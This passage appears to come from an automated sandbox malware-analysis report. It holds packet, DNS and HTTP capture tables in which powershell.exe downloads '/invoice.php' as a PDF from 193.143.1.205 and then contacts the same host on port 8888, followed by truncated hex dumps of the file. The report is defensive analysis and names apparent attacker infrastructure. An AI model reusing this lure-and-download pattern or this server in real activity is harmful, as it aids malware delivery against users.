Jan 11, 2025 02:10:20.654090881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.654104948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.654135942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.668025017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.711154938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711281061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711342096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711378098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711395979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711410046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.711426973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711445093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711457014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.711472034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.711479902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.711534023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.716308117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716363907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716393948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716418028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.716445923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716479063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716504097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.716569901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716603994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716617107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.716666937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716711044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.716746092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716778994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716811895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716824055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.716842890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.716897011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.716981888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717015028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717046976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717061996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.717078924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717112064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717128038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.717315912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717345953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717374086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.717422009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717457056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717474937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.717552900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717586994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717602015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.717621088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717655897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717669010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.717689037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717735052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.717865944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717899084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.717943907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.718056917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718090057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718122959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718142033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.718157053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718189955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718204975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.718221903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718259096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718266964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.718560934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718594074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718614101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.718626022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718658924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718672037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.718769073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718802929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.718818903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.718954086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719003916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719022989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.719037056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719069004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719079971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.719115019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719147921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719161987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.719182014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719223976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.719496012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719530106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719563961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719578028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.719598055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719639063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.719868898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719902992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719934940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.719945908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.719968081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720000982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720015049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.720032930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720065117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720077038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.720098019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720129967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720140934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.720161915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720194101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720212936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.720226049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720268011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.720691919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720726967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.720772982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.725567102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.754082918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.754209042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.754246950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.754275084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.754280090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.754312992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.754336119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.754345894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.754384041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.754407883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.763910055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.763921976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.763933897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.763988018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.763988018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.764044046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.764055967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.764066935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.764080048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.764096022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.764122963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.764345884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.767585039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.767642975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.767649889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.767654896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.767693043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.767843008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.767854929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.767894030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.768038034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.768050909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.768124104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.779985905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780002117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780015945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780035973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780046940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780062914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.780118942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.780226946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780240059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780273914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.780364990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780375004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780443907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780447006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.780453920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780487061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.780607939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780620098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780632019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780639887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.780649900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.780683994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.780996084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781008005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781018972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781029940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781042099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781049013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.781085014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.781085014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.781359911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.781419039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781430960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781441927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781450987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.781471968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.781498909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.801637888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.801692009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.801729918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.801774025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.801783085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.801815987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.801851988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.801881075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.801914930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.801944017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.802087069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.802114964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.802141905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.806993961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807054043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.807085991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807120085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807176113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.807234049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807429075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807462931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807477951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.807497025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807531118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807544947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.807568073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807615995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.807836056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807868958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807900906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807918072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.807934046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807969093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.807976961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.807996988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.808039904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.808267117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.808300972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.808335066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.808345079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.808372021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.808423996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.816298962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.822033882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.935426950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:21.372710943 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:21.377741098 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:21.377831936 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:21.377985954 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:21.382713079 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:22.168625116 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:22.213345051 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:22.691353083 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:10:34.736682892 CET	60527	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:10:48.121284962 CET	63446	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:11:00.528915882 CET	64841	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:10:34.736682892 CET	192.168.2.5	1.1.1.1	0xcac4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:10:48.121284962 CET	192.168.2.5	1.1.1.1	0x6392	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:11:00.528915882 CET	192.168.2.5	1.1.1.1	0x977a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 02:10:34.743607044 CET	1.1.1.1	192.168.2.5	0xcac4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:10:48.136701107 CET	1.1.1.1	192.168.2.5	0x6392	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:11:00.535860062 CET	1.1.1.1	192.168.2.5	0x977a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:10:19.122864008 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:10:19.952231884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:10:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:10:19.952538967 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:10:19.952575922 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:10:19.953237057 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:10:19.953272104 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:10:19.954358101 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
